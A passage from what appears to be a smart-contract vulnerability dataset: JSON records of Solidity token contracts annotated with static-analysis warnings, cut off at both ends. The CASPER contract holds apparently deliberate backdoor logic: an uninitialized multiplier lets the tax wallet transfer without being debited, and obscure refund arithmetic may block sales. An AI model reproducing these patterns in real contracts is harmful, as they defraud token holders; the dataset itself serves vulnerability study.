'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b0b8b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: d58621a): LIAM._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for d58621a: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 673881a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 673881a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 896b2c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 896b2c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: d58621a\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t\t\t// reentrancy-eth | ID: 673881a\n\t\t\t\t// reentrancy-eth | ID: 896b2c0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t\t\t\t// reentrancy-eth | ID: 673881a\n\t\t\t\t\t// reentrancy-eth | ID: 896b2c0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 673881a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 673881a\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t\t\t// reentrancy-eth | ID: 896b2c0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t\t\t\t// reentrancy-eth | ID: 896b2c0\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 896b2c0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8b0b8b0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 896b2c0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 896b2c0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8b0b8b0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t// reentrancy-events | ID: 6af0523\n\t\t// reentrancy-benign | ID: 2dbfecb\n\t\t// reentrancy-eth | ID: 673881a\n\t\t// reentrancy-eth | ID: 896b2c0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e75acaa): LIAM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e75acaa: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8b0b8b0\n\t\t// reentrancy-events | ID: 6af0523\n\t\t// reentrancy-eth | ID: 673881a\n\t\t// reentrancy-eth | ID: 896b2c0\n\t\t// arbitrary-send-eth | ID: e75acaa\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9c15bf6): LIAM.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 9c15bf6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 9c15bf6\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f6d1bab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f6d1bab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4cc79fc): LIAM.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4cc79fc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4167da): LIAM.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f4167da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e0a400b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e0a400b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: f6d1bab\n\t\t// unused-return | ID: 4cc79fc\n\t\t// reentrancy-eth | ID: e0a400b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f6d1bab\n\t\t// unused-return | ID: f4167da\n\t\t// reentrancy-eth | ID: e0a400b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f6d1bab\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e0a400b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: f6d1bab\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10132.sol",
"size_bytes": 23041,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract CASPER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f393de1): CASPER._taxWallet should be immutable \n\t// Recommendation for f393de1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f624c02): CASPER._initialBuyTax should be constant \n\t// Recommendation for f624c02: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: be0803e): CASPER._initialSellTax should be constant \n\t// Recommendation for be0803e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31de5ea): CASPER._finalBuyTax should be constant \n\t// Recommendation for 31de5ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce70e0b): CASPER._finalSellTax should be constant \n\t// Recommendation for ce70e0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 115843e): CASPER._reduceBuyTaxAt should be constant \n\t// Recommendation for 115843e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e81717): CASPER._reduceSellTaxAt should be constant \n\t// Recommendation for 9e81717: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c254f09): CASPER._preventSwapBefore should be constant \n\t// Recommendation for c254f09: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vitalik`s 2017 Git\";\n\n string private constant _symbol = unicode\"CASPER\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63961fb): CASPER._taxSwapThreshold should be constant \n\t// Recommendation for 63961fb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 13000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec41c2e): CASPER._maxTaxSwap should be constant \n\t// Recommendation for ec41c2e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67d5795): CASPER.burnRefExclude should be constant \n\t// Recommendation for 67d5795: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c6a46b6): CASPER.burnRefExclude is never initialized. It is used in CASPER._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for c6a46b6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnRefExclude;\n\n struct BurnLiqRefund {\n uint256 burnLiqSum;\n uint256 refreshBurn;\n uint256 isBurnRefund;\n }\n\n uint256 private minBurnRefunfd;\n\n mapping(address => BurnLiqRefund) private burnLiqRefund;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9967BA8CfEfEa22c75481b8B28aC72F7495B80F9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f64ce4d): CASPER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f64ce4d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a1076af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1076af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 59b4b5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 59b4b5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a1076af\n\t\t// reentrancy-benign | ID: 59b4b5c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a1076af\n\t\t// reentrancy-benign | ID: 59b4b5c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aabcea7): CASPER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aabcea7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 59b4b5c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a1076af\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6072b0e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6072b0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aecdb82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aecdb82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dd33dcb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dd33dcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6072b0e\n\t\t\t\t// reentrancy-benign | ID: aecdb82\n\t\t\t\t// reentrancy-eth | ID: dd33dcb\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6072b0e\n\t\t\t\t\t// reentrancy-eth | ID: dd33dcb\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: aecdb82\n minBurnRefunfd = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnLiqRefund storage burnRefund = burnLiqRefund[to];\n\n if (from == uniswapPair) {\n if (burnRefund.burnLiqSum == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: aecdb82\n burnRefund.burnLiqSum = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnLiqRefund storage assetRefund = burnLiqRefund[from];\n\n if (\n burnRefund.burnLiqSum == 0 ||\n assetRefund.burnLiqSum < burnRefund.burnLiqSum\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: aecdb82\n burnRefund.burnLiqSum = assetRefund.burnLiqSum;\n }\n }\n } else {\n BurnLiqRefund storage assetRefund = burnLiqRefund[from];\n\n\t\t\t\t// reentrancy-benign | ID: aecdb82\n assetRefund.refreshBurn = assetRefund.burnLiqSum.sub(\n minBurnRefunfd\n );\n\n\t\t\t\t// reentrancy-benign | ID: aecdb82\n assetRefund.isBurnRefund = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 6072b0e\n\t\t// reentrancy-eth | ID: dd33dcb\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: dd33dcb\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: dd33dcb\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 6072b0e\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c6a46b6): CASPER.burnRefExclude is never initialized. It is used in CASPER._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for c6a46b6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnRefExclude.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: dd33dcb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6072b0e\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a1076af\n\t\t// reentrancy-events | ID: 6072b0e\n\t\t// reentrancy-benign | ID: aecdb82\n\t\t// reentrancy-benign | ID: 59b4b5c\n\t\t// reentrancy-eth | ID: dd33dcb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a1076af\n\t\t// reentrancy-events | ID: 6072b0e\n\t\t// reentrancy-eth | ID: dd33dcb\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc83119): CASPER.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc83119: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5c9cd80): CASPER.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5c9cd80: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b6333cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b6333cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-eth | ID: b6333cb\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: fc83119\n\t\t// reentrancy-eth | ID: b6333cb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 5c9cd80\n\t\t// reentrancy-eth | ID: b6333cb\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: b6333cb\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenEthBalance = balanceOf(address(this));\n\n if (tokenEthBalance > 0) {\n swapTokensForEth(tokenEthBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function recoverStuckETH(uint256 amount) external onlyOwner {\n _taxWallet.transfer(amount);\n }\n}\n",
"file_name": "solidity_code_10133.sol",
"size_bytes": 22613,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n 